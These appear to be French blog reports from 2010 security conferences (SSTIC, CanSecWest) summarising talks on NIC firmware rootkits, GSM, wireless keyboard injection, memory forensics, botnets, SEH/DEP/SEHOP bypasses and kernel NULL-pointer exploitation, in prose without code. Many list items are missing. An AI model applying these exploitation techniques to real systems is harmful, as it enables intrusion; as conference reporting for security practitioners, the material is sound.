Un exemple de challenge : il y aura un jour la possibilité de voter sur Internet (au minimum pour les résidents Français à l'étranger). L'ANSSI se doit de trouver une solution suffisamment sécurisée en terme de technique. Autre exemple, le bracelet des prisonniers qui ne doit pas être falsifiable. En même temps, l'ANSSI doit vérifier le niveau de sécurité des infrastructures gouvernementales, et communiquer pour former les citoyens et les industriels (c'est un enouveauté, dans le passé l'agence était plutôt secrète).
L'ANSSI est sensé être l'organisme qui sait répondre à des questions techniques en matière de sécurité au niveau de l'état (parlement, députés, ...).
Note : certains appareils d'IRM fonctionnent sous Windows. Et rien n'avait été prévu pour installer des mises à jour de sécurité. En travaillant avec les hôpitaux, l'ANSSI à permis d'établir une certaine pression envers les fabricants d'IRM pour qu'a l'avenir ces appareils puissent être mis à jour.
Rendez-vous l'année prochaine les enfants.
Par GR le mardi, juin 15 2010, 10:45 - Compte-rendu
"Ca recommence comme avant".
"Pas tout à fait comme avant".
-- Matrix
Présentation du classement et remise des prix.
Présentation d'une solution par Arnaud Ebalard NatIsBad :
Autre méthode :
Christian Brunette
David Pichardie
Frédéric Guihery
Goulven Guiheux
Guillaume Hiet
Travail collaboratif entre AMOSSYS, l'INRIA et SILICOM.
Constats :
Une question :
L'architecture Java semble simple sur le papier ; mais elle est plus compliquée en pratique (beaucoup de composants ne passant pas par la JVM pour accomplir des fonctions bas niveau). Il existe 3 vérifications de sécurité lors de l'exécution d'une application Java :
Il existe d'autre mécanismes de sécurité :
Le composant JPSA est écrit en Java (d'où la nécessité de bien protéger cette partie). Mais la plupart du temps, ce composant est soit inutilisé, soit mal utilisé par les développeurs. Il existe également un certain nombre de problèmes ou de questions à propos de la JVM elle-même :
Propositions d'amélioration (pour le langage Java "at large") :
Propositions d'amélioration (pour la JVM):
Suivi d'un exemple de modification de code pour appliquer ces propositions : éviter la fuite d'objets partiellement initialisés.
Conclusion :
Eric LACOMBE
Fernand LONE SANG
L'I/O MMU est un mécanisme de sécurité permettant de contrer les attaques DMA. C'est une gestion du contrôle d'accès à la mémoire pour les périphériques. Cela fonctionne en ajoutant une couche de virtualisation sur les adresses mémoires (mapping virtuel). Les attaques DMA sont réalisées :
DMA permet un accès directe à la mémoire :
Intel VT-d implémente l'I/O MMU.
Vecteurs d'attaques contre l'I/O MMU :
Exemple de scénario d'attaque :
Demo. La vidéo tourne sur la victime, il branche l'iPod. Elle s'arrête, et vient tourner sur la machine de l'attaquant. C'est beau.
Conclusion :
Recommandation :
Guillaume Valadon
Loic Duflot
Olivier Levillain
Yves-Alexis Perez
Cette présentation est la même (sauf la démo) que celle donnée à CanSecWest 2010. J'en ai déjà fait un résumé sur ce blog. Mais bon, comme j'aime bien, j'en refait un autre (plus court) ici.
Les cartes réseaux sont devenues très complexes (plusieurs processeurs, firmware, contrôleurs, opérations d'administration à distance, ...). Exploiter les cartes réseaux pour :
Cas d'étude : "Broadcom NetXtreme". Lors de celle-ci :
Cette carte possède un processeur MIPS qui accède à toute la mémoire de la carte, au SMBus, aux paquets entrant/sortant, à l'espace de configuration PCI. La carte possède des fonctions ASF (envoi d'alertes via le réseau) et doit fonctionner même si plus rien ne marche. Elle supporte aussi les "RMCP Security Extensions" (RSP), ainsi que le support de l'authentification et du contrôle d'intégrité. RMCP utilise un protocole tournant sur le port 664/UDP (toutes les requêtes à destination de ce port sont interceptées par la carte réseau, aucune application sur l'OS ne pourront l'utiliser). L'ASF "legacy" utilise lui le port 623/UDP (même punition, l'OS ne verra aucun paquet à destination de ce port).
L'ASF/RMCP est très simple sur UDP. Mais il y a aussi AMT et IPMI qui sont plus complexes, et sur TCP. Dans le cas d'AMT et IPMI, la carte réseau doit implémenter une pile TCP ... risque d'autres vulnérabilités accru.
Démo de compromission à distance.
Sebastien Tricaud - PicViz labs (conférence invitée)
Buts du projet :
L'orateur s'attache ensuite à la description de l'organisation du projet. De manière simplifiée, il est découpé en chapitres ; un chapitre représentant un pays (Canada, USA, Mexique, Brésil, France, Allemagne, Espagne, Norvège, Chine, Iran, ...)
Le projet est orienté sur la recherche, et non sur l'opérationnel. Objectifs :
Ces informations sont accessibles via différents média :
Exemple de réalisation : travail avec Fyodor ("nmap") pour détecter facilement le vers "Conficker" (travail issu de la recherche du chapitre Allemand). Un script NSE a été écrit pour que tout utilisateur de "nmap" puisse scanner son réseau afin de détecter les machines compromises. Quelques outils :
Les honeypots s'articules autours de trois grandes catégories :
D'autres outils :
Conférencier : sebastien@honeynet.org (Blog LogViz)
Frédéric Connes
ABSENT
Alban Ondrejeck
Francois-Xavier Bru
Guillaume Fahrner
ABSENT
Harald Welte (conférence invitée)
Peu de documentation publique sur les protocoles GSM/3G. Et du coup, quasiment aucune évaluation de la sécurité de l'implémentation sur ceux-ci. Les entreprises ne livrent aucune documentation ("closed minded"). Même les gros clients (les opérateurs) de ces produits ("manufacturers") ne reçoivent que peu de documentation, et aucun code source. Peu de personnes connaissent vraiment la suite complète de protocoles. Ils connaissant juste ce qui est nécessaire au bon fonctionnent opérationnel.
GSM, c'est bien plus que la gestion des communications téléphoniques. On trouve également ce protocole dans les endroits suivants :
Les implications sécurité :
Des problèmes de spécification :
Des problèmes d'implémentation :
Des problèmes d'opérationnel :
Mais par où débuter la recherche sécurité ?
Premières étapes :
Note : dans une démo publique, il a fait sonner tous les téléphones de l'assistance ^^
C'est une suite complexes de différentes interfaces avec leurs protocoles associés. Pour l'interface réseau GSM :
Pour l'interface A-bis, une autre suite de protocoles ...
Il a démarré ses recherches en 2006. En 2008, il a réussit à faire apparaitre son antenne comme un vrai réseau pour son téléphone. 01/2010 : les 25 premières antennes OpenBSC tournent chez des opérateurs. Mais toutes les fonctionnalités GSM ne sont pas implémentées :
Note : les iPhones crashent facilement à cause de paquets ne respectant pas les spécifications. L'orateur n'a même pas eu besoin d'utiliser du fuzzing pour s'en apercevoir ...
Problèmes connus des GSM :
Utilisation de Scapy pour coder les différentes couches réseau.
Il peut maintenant envoyer des données :
Liens :
GSM Phone Anatomy
OpenBSC
OpenBTS
OsmocomBB
Note : environ 7/8 personnes à développer ce code.
Les habituelles rumps, mais avec rien de vraiment extra-ordinaire cette année. Ah si, l'excellent Netglub de l'ami Guillaume Prigent.
lundi, juin 14 2010
Par GR le lundi, juin 14 2010, 15:06 - Compte-rendu
Comme tous les ans, l'amphi est plein. Toujours difficile de trouver une place assise, c'est un peu lourd. Mais bon, je ne vais pas commencer par me plaindre ^^ Aller, c'est partie pour another compte-rendu du SSTIC 2010.
Bernard Barbier - Directeur Technique (DGSE)
Une conférence par une personne de la DGSE est Probablement une première, du fait de la confidentialité des informations traitées. Le but est de délivrer un message aux experts sécurité que nous représentons.
La DGSE est mandatée pour accomplis certaines missions. Ces missions sont définies par un décret de 1982. Une nouvelle organisation dans la "communauté du renseignement" qui est apparu suite à l'élection de N. Sarkozy. L'organisation est complexe, on peut citer les entités suivantes :
Les priorités :
Missions de la Direction Technique :
Missions plus informatiques :
Et surtout, être capable de coupler toutes ces disciplines pour avoir une vue globale.
Exemple de réalisation : libération des otages Français retenus à l'étranger.
La France est dans le TOP5 : USA, GB, Israël, Chine.
La lutte informatique vue de la DGSE :
La DGSE, c'est surtout deux organismes différents (l'un orienté attaque, l'autre défense)
Note : la DGSE a des 0days.
Gouenou Coatrieux (Telecom Bretagne)
Description du watermarking (embedder, reader, shared key). Applications : copyright protection, finger printing, contrôle d'intégrité, data hiding, self-correcting image ...
Deux grandes classes : data protection, data hiding.
WM pour vérifier l'intégrité de l'image et son authenticité. C'est un outil complémentaire à la crypto, il ne se substitue pas à celle-ci.
Applique un hash sur les modifications à l'embedder. Puis le hash est extrait via la clé pour vérification de la signature.
Tatouer le dossier médical dans l'image :
Comment tatouer des images sensibles (ne pas modifier l'information utile).
Il faut trouver le bon compromis. Et ce n'est de toute façon pas aussi bon que la crypto. Besoin d'un standard pour évaluer la distorsion des images médicales.
Philippe Lagadec (OTAN)
Concerne uniquement la défense informatique.
Quatres phases : "Observe", "Orient", "Decide", "Act"
Aujourd'hui, uniquement "Observe", et un petit peu de "Orient".
Avoir réponse a une question majeure : comment est l'infrastructure en temps réel (failles, machines compromises, machines soumises à un risque d'intrustion, ...).
Énormément d'outils générant de l'information sur le réseau : "NIDS", "HIDS", "firewall", "syslog", anti-virus, vulnérabilités, ...
Visualisation : prototype "CIAP" ("Consolidated Information Assurance Picture") :
Voir en temps réel les vulnérabilités et les attaques en cours.
Permet l'analyse de risque dynamique ("DRA", "Dynamic Risk Analysis"). Processus :
Différents états possibles des machines du réseau : normal, vulnérable, exposé, compromis.
Fabien Allard
Mathieu Morel
But : détecter l'utilisation du proxy HTTP pour faire passer un tunnel TLS (exemple : détection du P2P et de backdoors communiquant en HTTPS).
Options possibles pour atteindre ce but :
Objectif : déterminer le protocole à l'origine du flux chiffré.
Hypothèse : chaque protocole a un comportement caractéristique:
Idée : extraire les paramètres pertinents, puis comparer ces paramètres à un modèle statistique.
Fonctionnement :
Sélection des paramètres à extraire des flux par un algorithme de sélection automatique en utilisant les plus discriminants. Puis applications de 6 méthodes d'apprentissage statistiques pour trouver la plus pertinente dans le cas présent.
Puis développement d'une autre méthode basée sur les Modèles de Markov Cachés ("MMC") pour une classification probabiliste.
Démo :
Note : l'outil analyse le flux complet, et pas seulement les premiers paquets.
Conclusion :
Eric Freyssinet (conférence invité) (Lieutenant-colonel en Gendarmerie)
Présentation de l'organisation de son service en France (et DOM-TOM). Il existe un lien avec Interpol pour lutter contre les botnets. Environ 100000 gendarmes au niveau national.
Les botnets sont responsables :
Les botnets sont commercialisés : loués, vendus, reloués, .... Les organisation derrières ceux-ci sont parfois mafieuses.
Quelques exemples :
L'orateur nous parle ensuite de ses réflexions articulées autour de trois axes : prévention, détection, réaction. Il existe de nombreux acteurs responsables des botnets : développeurs, revendeurs, pasteurs (herders), mules, commanditaires, hébergeurs, clients, victimes.
Éléments de prévention :
Éléments de détection:
Tous ces éléments de détection génèrent de la données brute de collecte. Malheureusement, il n'existe pas de format standardisé pour partager celles-ci. Néanmoins, il existe des propositions telles que :
Un autre point est le stockage de ces données. Il existe un base plus ou moins commune aujourd'hui : "Cyborg". Il reste tout de même à trouver une méthodologie pour que les différents acteurs de la détection puissent travailler ensemble de manière efficace.
Enfin, le volet réaction :
Quelques pistes législatives :
Christophe Devine
Damien AUMAITRE
Pour débuguer un programme sous Windows, il existe le mode de boot "DEBUG". Malheureusement, ce mode désactive certaines protections Windows tel que "PatchGuard" ou les "DRM". La présentation s'attache au développement d'un débugueur pour Windows 7 64-bits qui contourne ces limitations. Quelques problèmes se posent ensuite, tels que la signature des "drivers" (un débuguer efficace doit tourner en mode "driver").
Mais ensuite comment hooker l'IDT si PatchGuard est activé ? Et comment contourner la vérification de la signature d'un "driver" ?
Le "driver" établira un canal de communication utilisant l'accès "DMA" en mémoire physique. Avantages et but de la solution "VirtDbg" :
Démo.
Problème, charger l'hyperviseur pendant que "PatchGuard" ne regarde pas. Il ne regarde pas tout le temps certaines fonctions de l'"IDT". Et ça marche. Hyperviseur de 600/800 lignes environ. Puis utilisation de "Metasm" pour parler le "stub" "GDB".
Conclusion : - debugueur furtif qui accède à tout en contournant les protections Windows - traçage de code malicieux très haut niveau
Daniel Reynaud
Jean-Yves Marion
Wadie Guizani
Dans cette présentation, les orateurs nous parlerons d'analyse dynamique de programmes à des fins d'aide à l'analyse statique. Les traces ont l'avantage d'être des objets "propres". On peut décorréler deux tâches :
Utilisation de "TEMU" (basé sur "QEMU") pour l'analyse dynamique, puis de "Vine" pour l'analyse statique. L'outil développé se nomme "TraceSurfer", et il permet la détection des comportements d'auto-modification. Aujourd'hui, la grande majorité des programmes malicieux utilisent cette technique pour rendre difficile le "reverse engineering". Grâce à l'outil "TraceSurfer", la partie fastidieuse de suppression de l'auto-modification devient bien plus aisée. L'outil permet la visualisation de la protection binaire mise en place (de type packers, UPX, Temida, ...). L'outil génère une trace d'exécution dynamique qui sera ensuite utilisée par un plugin "IDA".
Note : Voir aussi "Pin" (pintool.org) pour l'extraction des traces.
"TraceSurfer" : 160 lignes de C++ et 750 de Python. Basé sur l'outil Pin.
Code source :
Tartetatintools
Indefinit Studies
Eric Barbry (cabinet Alain Bensoussan) (conférence invitée)
L'année 2010 est exceptionnelle au niveau des modifications sur le droit de notre métier. Description des casquettes du DSI/RSSI en 2009. Beaucoup de casquettes, et en plus du droit. En 2010, le DSI/RSSI devrait devenir un juriste à cause de toutes ces nouvelles lois. Nouvelle menace : le phishing dans l'entreprise. Voir les 10 conseils de la CNIL pour sécuriser son SI.
Note : clause à 7000 € sur le Cloud computing est inacceptable.
Une présentation "style one-man-show" qu'il est difficile de résumer ici.
lundi, avril 19 2010
Par GR le lundi, avril 19 2010, 21:00 - Compte-rendu
Chercheur en antivirus pour la mobilité. Les spyware sous plateformes mobiles : - adware : pas aussi intrusifs que sur PC - PUP : Potentially Unwanted Program, comme des serveurs Web ou FTP intégrés au téléphone. Mais aussi des programmes qu'une entreprise ne souhaite pas voir sur ses téléphones comme Metasploit, Aircrack, ...
En Indes, le gouvernement a demandé un accès de type spyware aux téléphone Blackberry. Ils ont aussi réduit la taille des clés de chiffrement de 256 bits à seulement 40 bits. Ils ont aussi obtenu que les serveurs Blackberry soient en Indes, pour pouvoir monitorer le trafic. Le gouvernement a aussi prétendu avoir cracké le chiffrement "non-corporate".
Etisalat a poussé une mise à jour sur les Blackberry. Un reverse engineering a montré que cette mise à jour intégrait du lawful interception. Une copie des mails était envoyée à une adresse Etisalat. Ce reverse a été simplifié puisque l'update était au format .JAR, au lieu du format .COD.
Une famille de vers iPhone (OSX/RRoll.A-B) modifiait l'image de fond et désactivait le démon SSH. L'auteur était Ashley "ikex" Towns.
Attention, certains spywares sont distribués via Android Appstore (cas d'une App de banking). Il existe aussi des Appstore alternatifs aux originaux, où le contrôle est difficile.
Présentation sans intérêt, j'ai arrêté de la suivre à la moitié. En gros, il fait un historique des recherches en développement spyware pour téléphones mobiles faites par d'autres, et présentées à BlackHat et autres conférences (Spyphone (iPhone), Phonesnoop (Blackberry)).
A noter aussi un PoC de botnet (WeatherFistBadMonkey), mais jamais releasé. Envoi des emails, fait du DDoS et fournit un reverse shell.
La présentation s'est achevée parce que l'ordinateur de l'orateur n'avait plus de batterie ... à 10 minutes de la fin. Un mec de l'organisation est venu l'aider pour rétablir le courant. Ça donne le niveau. Sur le mur tweeter de CanSecWest, les gens se lâchent sur la présentation. Je ne suis pas le seul à l'avoir trouvé pourri.
Les gars sont du Dreamlab Technologies et de remote-exploit.
C'est un talk sur l'injection et l'écoute de données pour les claviers sans fils basés sur les fréquences 27 MHz. Keykeriki est un petit dispositif hardware, ils ont aussi fait le firmware. Le talk n'aborde pas l'infrarouge ou les technologies bluetooth.
Ça parle des communications en sens unique sur 27 MHz. Le protocole n'a pas de support pour le chiffrement (enfin c'est à la charge du fabriquant d'implémenter çà), et les messages ne sont pas protégés contre le rejeu. Ils ont reversé le protocole des claviers Logitech et Microsoft. Chaque frappe au clavier provoque l'envoi d'un paquet avec le keyboard ID, la touche, et l'état (appuie ou relâche).
Ils ont releasé la V1 de Keykeriki en may 2009, et il pouvait juste sniffer les claviers Microsoft, Seimens-Fujitsu et Logitech. Une SDCard pour le stockage des données, et du cracking à la volée du chiffrement. L'injection était limité, parce que certains bits du protocole n'était pas encore vraiment reversé.
Nordic Semi NRF24xxx permet d'avoir un receiver, et jusqu'à 6 appareils connectés (concept du multiceiver). Le protocole supporte un CRC (mais optionnel). Pour sniffer, il faut tout d'abord trouver l'adresse de l'appareil. Il faut identifier le préambule, et seulement ensuite on peut trouver cette information. Cette-ci est sur 5 bytes. et le préambule fait 8 bits. Un heuristique est utilisé pour trouver cette adresse, avec un certain niveau de False Positive. Keykeriki a une interface JTAG pour le débogage.
Microsoft utilise du crypto hardware AES-128 dans ses claviers. Ensuite, une explication sur les différents paquets et leur format. Les claviers Logitech utilisent aussi le chiffrement AES-128.
Note : certains appareils utilisés pour le vote sont basés sur ce genre de hardware. Certains appareils sont aussi présents dans les voitures.
Démo sur un clavier Micorosoft, remote command execution par injection de frappes clavier. Ce n'est pas du simple replay, ils ont implémenté les fonctions d'un vrai clavier. Injection possible jusqu'à 75 mètres ...
Ils ont l'intention de fournir une version gratuite et une version commercial du produit, ainsi qu'un module Wireshark. Toutes les infos sur http://www.remote-exploit.org/.
Elle bosse dans le lab ubisec, Security in Ubiquitous Computing. C'est le même genre de travail qui a été fait dans la présentation précédente.
Les menaces à prendre en compte : - lecture non autorisée - clonage - DoS - tracking - écoute
Existe-t-il des malwares pour RFID ? - exploits - vers - virus Via l'exploitation de buffer overflow dans le format des messages. Rien de connu pour l'instant.
Note : utilisation de Google Trend pour voir l'évolution d'un sujet (comme RFID malware).
Elle bosse sur un dispositif nommé RFID Guardian. Un dispositif mobile de pentesting et firewalling pour RFID. C'est un projet vendor-neutral, tout est disponible sur http://rfidguardian.org/. Le but est de montrer au monde que les RFID ne sont pas suffisamment sécurisés. Le dispositif coûte dans les 500 euros à fabriquer. Le bootloader est GPL. Ils cherchent des sociétés qui voudraient collaborer avec eux.
Fonctionnalités: - emulation de tag RFID - attaques de rejeu - attaques de relai - selective jamming - tag spoofing - RFID firewall (ACL) => n'autoriser que les bonnes personnes à accéder au tag RFID => mais ça n'empêche pas une personne d'écouter le trafic. - implémentation de SSL. Ça marche, mais c'est très lent - RFID fuzzing (Bstorm)
Remise des prix de PWN2OWN, les gagnants se voient remettre un super laptop et un gros chèque de 10,000 CAD.
Il a créé sa propre société MoonSols. Spécialisé dans le forensics. C'est notamment l'auteur du Sandman framework et de Windd.
Pourquoi ? La mémoire non-volatile ne suffit pas. Actuellement uniquement base sur x86 (32-bits) Mac OS X. Uniquement de l'acquisition basée sur du software. En hardware, le mapping mémoire n'est pas le même.
Accès à la mémoire physique : - soit accès au /dev/mem, mais c'est désactivé par défaut (et on ne peut pas rebooter, c'est du live forensics) => donc utilisation bcopy_phys() - soit utiliser l'hibernation (Safe Sleep)
Safe Sleep : créé une image compressée (format WKDM). Et peut éventuellement être chiffré (mais désactivable sans rebooter). Le but de l'analyse est d'éviter la recherche de chaine en mémoire de manière aléatoire. Méthodologie: - recherche des symboles kernel - initialisation du gestionnaire de mémoire - parcourir l'espace d'adressage virtuel du kernel - collecter l'information.
On obtient : - la liste des threads - les processus - information sur la machine - les descripteurs de fichiers - des informations réseau - des fichiers ouverts et leur contenu - des mots de passe ...
Windows stocke les symboles dans des fichiers séparés (.PDB). Sous Mac OS X, ils sont stockés dans l'exécutable kernel. Pour lire les données d'adresse des symboles kernel, ils faut utiliser une formule de conversion. S'ensuit une description du parcours de l'espace d'adressage virtuel. Maintenant, on a les sympboles kernel et le gestionnaire de mémoire est initialisé, tout l'espace mémoire kernel est maintenant parcourable.
D'abord récupérer les informations de version du système. Puis la liste des systèmes de fichier. La liste des extensions kernel via le parcours de la liste chainée kmod. Puis la liste des processus BSD via la structure kernproc, ainsi que les informations associées dans la structure de données du processus. Reconstruction de la syscall table.
Détection de rootkit : si un offset dans une entrée syscall n'est pas dans les symboles kernel, y'a un soucis ^^
Démo. Commandes info (version du kernel, mémoire, CPU), mount (listage des filesystems avec leur mountpoints). syscall pour la syscall table (avec offset associés, et si l'entrée est correcte pour détecter la modification d'une entrée comme par du hooking). kext pour avoir la liste des extensions kernel. ps pour la liste des processus avec parent ID. On peut "zoomer" sur un processus via la commande pid. Puis démo en zoomant sur le processus loginwindow. Une simple commande exploite une faiblesse de ce programme divulguée début 2008 qui affiche en clair le mot de passe utilisé pour se loguer.
Site : http://www.moonsols.com/ Twitter : msuiche
Une présentation qui se rapproche très fortement de la précédente. Cette fois c'est sous Windows que ca se passe. Il fait l'historique des dispositifs hardware permettant un accès à la mémoire physique (PCI, bus DMA, PCMCIA, ...). Ensuite les méthodes software (BSoD, \.\DebugMemory, ...). Il n'est plus possible aujourd'hui depuis un processus userland d'avoir accès à la mémoire physique (Doh!). Outils : Windd (Matthieu Suiche), Memoryze (MANDIANT). Description du mécanisme de translation d'adresse mémoire sous x64. Des pages de débogueur kernel Windows.
VMSafe (disponible dans VMWare vSphere) fournit de l'introspection de la mémoire et de l'état des CPUs, du filtrage des paquets réseau, monitoring et contrôle complet des processus, montage des filesystems depuis le guest sur le host. XenAccess tente d'implémenter les même fonctions.
Démo. Son outil se branche sur une machine virtuelle VMWare en cours d'exécution (un guest Windows). Il se branche sur le fichier .vmem que VMWare utilise pour ses machines en cours d'exécution. Donc, outil est vraiment poussé, beaucoup de choses sont explorés dans la mémoire des processus.
Vraiment trop orienté Windows internals, je n'ai pas vraiment suivi (désolé Charles). L'orateur n'était pas aussi didactique que le précédent.
Historique de la détection des botnets. Puis zoom sur le malware Win32/Waledac. Il parle de la bêtise des utilisateurs qui cliquent sur n'importe quel lien. Waledac installe aussi automatiquement d'autres malwares une fois la machine infectée. S'ensuit une énumération d'autres malwares ainsi que leur distribution à travers le monde. L'idée est que chaque botnet est distribué de manière différente à travers le globe. Certains sont plus répandus en Russie, d'autres en Chine, d'autres encore aux États-Unis.
Tous les botnets n'utilisent pas le même canal de C&C : IRC, HTTP, P2P, autre.
Waledac est un acteur majeur de production de spam. Son canal de C&C se base sur différents protocole : HTTP, P2P et l'architecture est basé autour d'une structure hiérarchique de type fast-flux DNS. Tous les domaines sont en .com. Microsoft a bossé avec Verisign (gestionnaire des .com) et les forces de l'ordre pour couper ce botnet. Ce botnet possède un middle-tier pour masquer la tête du réseau. Cette opération s'est appelée "Operation b49".
Cela a créé un précédent : le shutdown de certains domaines. Pour la première fois, on a montré qu'un botnet basé sur du P2P pouvait être contrôlé par une autre personne que le hurder.
Maintenant, grâce aux enseignements de cette opération, Microsoft lance le projet MARS (Micrososft Active Response for Security) pour couper le plus de botnet possible. Des centaines de milliers d'heures de ressource humaines sur ce projet.
Présentation était très courte et sans détails techniques, en forme de "Microsoft sauveur du monde".
Le speaker est loin, il est connecté via Skype. Talk originellement donné à PacSec 2008. Il a découvert par hasard que le NIC faisait du checksum offloading. Il s'est posé la question : peut-on en tirer quelque chose ? Il utilise une carte Broadcom (Tigon, basé sur un processeur MIPS), avec un firmware téléchargeable sur le site du fabriquant. L'idée est d'implémenter une attaque depuis une carte NIC1 vers une carte NIC2. Une carte n'a pas l'habitude de gérer une attaque venant de l'intérieur. Via PCI-to-PCI. Comment créer un rootkit directement dans une carte ?
Pré-requis : - NIC1 pour communication externe - NIC2 pour communication interne - nVidia GPU (on dirait que l'attaque repose en grande partie sur le fait qu'il y ait un kit de développement nVidia) - EFI BIOS
nicssh utilise plusieurs fonctions : findnic pour trouver une autre carte en scannant le bus PCI. grabnic pour injecter un firmware sur une carte vulnérable. forward pour mettre en place du forwarding de paquets. Il y a aussi nicfw (le firmware modifié).
La possibilité de faire du remote update nécessitait des droits admin. Cela fonctionne en envoyant un WOL suivi d'un message UDP dans un format particulier. Mais pousser un firmware via UDP est risqué, on risque de perdre des morceaux.
En gros, il injecte un nouveau firmware à distance, et ouvre un shell sur la carte réseau ...
Amélioration suivante, utiliser un module EFI pour charger nicssh 2.0 sur la NIC. Ce module chargera le nouveau firmware et installera nicssh sur le GPU. Le but final étant d'obtenir la persistance pour se protéger contre le re-flashing de la NIC. Le module EFI est stocké dans le SATA pour gérer ca.
Ces problèmes de sécurité viennent de failles crypto, d'une mauvaise gestion des clés (PKI FAIL). Une autre idée est d'utiliser les ucode pour mettre à jour les CPU (les errata). Les updates de ucode ne sont pas persistantes lors des reboots. EFI est encore la solution. C'est encore du work-in-progress, plein de choses sont encore à explorer dans ce domaine.
lundi, avril 12 2010
Par GR le lundi, avril 12 2010, 21:00 - Compte-rendu
SEH overwrite est la méthode d'exploitation principale pour les programmes sous Windows. Il existe des méthodes de protection (DEP, SEHOP, SafeSEH). Sont-elles suffisantes ? SEH est le système de gestion des exceptions employé sous Windows. Il y a une liste chainée dans la pile. C'est une liste chainée gérant les exceptions. Le classique stack overflow permet de ré-écrire le pointeur d'entrée de la liste des exceptions. Suivi d'une description de la callstack quand une exception survient. Description de SafeSEH. Et d'une faiblesse de SafeSEH. Il existe encore une zone exécutable dans la protection SafeSEH, et le but est de l'utiliser. Il passe ensuite aux faiblesses de SEHOP (SEH Overwrites Protection). Une autre protection nommée Hardware DEP empêche l'exécution de code dans l'attribut exécutable. Il y a aussi l'ASLR qui a de nombreux impacts sur SEH. Il passe à l'explication du contournement de ces protections. L'idée pour contourner SEHOP est de reconstruire une chaine de gestion des exceptions valide. Pour contourner le Hardware DEP, il utilise des méthodes de type return-into-libc et de return-oriented programming. Ne pas perdre de vue qu'on parle d'un stack overflow, et donc ces techniques fonctionnent.
Liste des choses a faire : - re-créer la chaine SEH (bypass SEHOP) - ré-écrire l'exception handler address dans un module non protégé SafeSEH - créer une pile pour exécuter le code voulu (bypass Hardware DEP) => utilisation de memcpy() pour ensuite placer un code ou on veut ...
Demo sous Windows 7. Bon, il nous lance un débogueur, et fait de l'exécution pas à pas pour bien tout comprendre sur un programme vulnérable.
ASLR rend difficile la création d'une chaine SEH valide. Il rend aussi difficile de trouver les instructions utiles à une adresse fixe.
Conclusion : cette présentation demande de fortes compétences en exploitation de failles sous Windows. Sans ca, c'est difficile de comprendre les tenants et les aboutissants. Pour terminer, il donne un tableau des conditions d'exploitation en fonction des différentes protections.
Je reconfigure ma carte WiFi qui a décidé de ne plus fonctionner :/ Mise en place de connexion sur le bon AP, établissement de mon tunnel SSH préféré avec du DynamicForwarding pour éviter tout risque d'écoute de mon trafic. Vive les serveurs dédiés sur Internet.
Ils bossent dans l'Information Security team de Google. Il y a du sandboxing dans Google Chrome et Android. Le talk est a propos du kernel comme cible des attaques de type local privilege escalation. Deux types de bug kernel : memory management corruption et bug de logique. Exemple de bugs de logique : CVE-2001-1384, CVE-2003-0123. Exemple de bugs de mémoire : CVE-2003-0961. En milieu kernel, on contrôle tout l'espace d'adressage, on accède à la complexité de gestion de l'espace mémoire. Exploiter le kernel sert par exemple à : sortir de chroot(), contourner les MAC, contourner les vserver. Pour bien se protéger, il vaut mieux utiliser un suite de protection kernel comme grsecurity. Avant, ce genre d'attaque n'était pas très répendues sous Windows, mais cela change. Très peu de remote kernel exploits pour Linux (publics en tout cas). Certains bugs sont exploitables en remote via le Web browser (exemple : faille dans le driver nVidia). Grande surface d'attaque pour le kernel : ioctls, devices, kernel parsers. Filesystems, network protocols, format des exécutables ... Demo orientée kernel Windows. Ils ont trouvé un moyen de placer le bit supervisor à 1 en exploitant une faille. Ce qui donne un accès au mode Virtaul-8086 (ring0?). GDI a été deplacé du userland vers le kernelland pour des raisons de performances. Mais le GDI est ce qu'il y a de plus simple à exploiter à distance. Par exemple via IE, en accédant aux fonts (TTF) qui sont gérées via GDI. Description d'une faille dans le parsing des fonts TTF (donc, code exécuté en ring0). Description de l'exploitation des NULL pointer dereferences sous Linux. Exemple d'une faille découverte par eux : CVE-2009-2692. NULL pointer dereference en local via sock_sendpage. sock_sendpage à un modèle de fonctionnement fragile, puisque nécessite la MAJ de tous les modèles si on modifie certaines fonctions pointées dans la structure proto_ops. Par exemple, pour une faille, une structure était initialisée à NULL. Il suffisait de placer son shellcode à NULL pour qu'il soit exécuté au lancement. Puis ils ont trouvé un autre bug de même type : CVE-2009-2698 dans udp_sendmsg. Suivi d'un exemple d'exploitation pour fasync, une faille de type use-after-free. Suivi d'un exemple d'exploitation sous NetBSD. Explication sur la syscall interface sous Windows : compliquée, instable, et non documentée. Vaste aussi (300 sous Linux). Normalement seulement utilisé par du code Microsoft. Les syscall sont très vulnérable au fuzzing car peu résistants aux mauvaises entrées. Et comme le kernel parse des fonts, des pixmaps, la syscall interface est un excellent candidat au fuzzing. Plus facile de trouver des bugs en fuzzant la syscall sous Windows sur sous Linux. Solution pour se protéger contre les privileges escalation : TPE (Trusted Path Executables). Facile à contourner sous Linux, à moins d'utiliser grsecurity. Gagne en popularité sous Windows. Pour contourner cette protection; on peut utiliser des failles dans des programmes interprétés (Python, Perl, ...). Autre solution : le sandboxing, à base de chroot() et de ptrace() (lent et difficile à mettre en place). SECCOMP-based sandbox aussi (sera peut-être implémenté dans Chrome-Linux). Mais si on ne peut protéger le kernel, l'utilisation de la virtualisation peut être une alternative. Une autre bonne protection pour le kernel Linux est l'utilisation de PaX, qui utilise des techniques de limitation de permissions dans le kernel.
Conclusion : Si le kernel trust une donnée userspace, une faille de sécurité de type escalade de privilège existe. Cela vaut pour l'existence d'une donnée, mais aussi pour l'absence d'une donnée. En gros, c'était une liste d'exemple d'exploitation de bugs kernel sous Linux et Windows. Tavis est plus Windows, et Julien plus Linux. La surface d'attaque kernel est grande et grossit de plus en plus. De plus en plus facile à atteindre en remote. La difficulté d'exploitation va de simple à très dur. Les technos de prévention d'exploitation en kernel sont aujourd'hui immatures. En gros, les sandbox c'est bien, mais il y a toujours une surface d'attaque depuis la sandbox vers le kernel qu'il est difficile de protéger.
Lien : http://blog.cr0.org/2010/03/theres-party-at-ring0-and-youre-invited.html
Fuzzing de 4 produits en 5 lignes de Python. Fuzzing de PDF (Preview et Acrobat Reader). Fuzzing de PPT (OpenOffice et PowerPoinet). Dumb fuzzing : faire des modifications sur un fichier correct. Smart fuzzing : utiliser des entrées créatives "from scratch". Compromis : utilisation de dumb fuzzing avec de nombreux fichiers différents. Idée : avec suffisamment de fichiers en entrée, on peut couvrir une grande surface des fonctionnalités offertes par le format. Mais toujours la limitation du CRC et de la compression sur ces fichiers.
Méthodologie : - download de plus de 80 000 fichiers PDF depuis Internet. - Acrobat Reader + Valgrind sous Linux pour mesurer la couverture de code. - réduit à ~1500 fichiers
Le fuzzer de 5 lignes: - change juste des bytes au hasard par des valeurs prisent au hasard. - ne rien supprimer, ne rien ajouter.
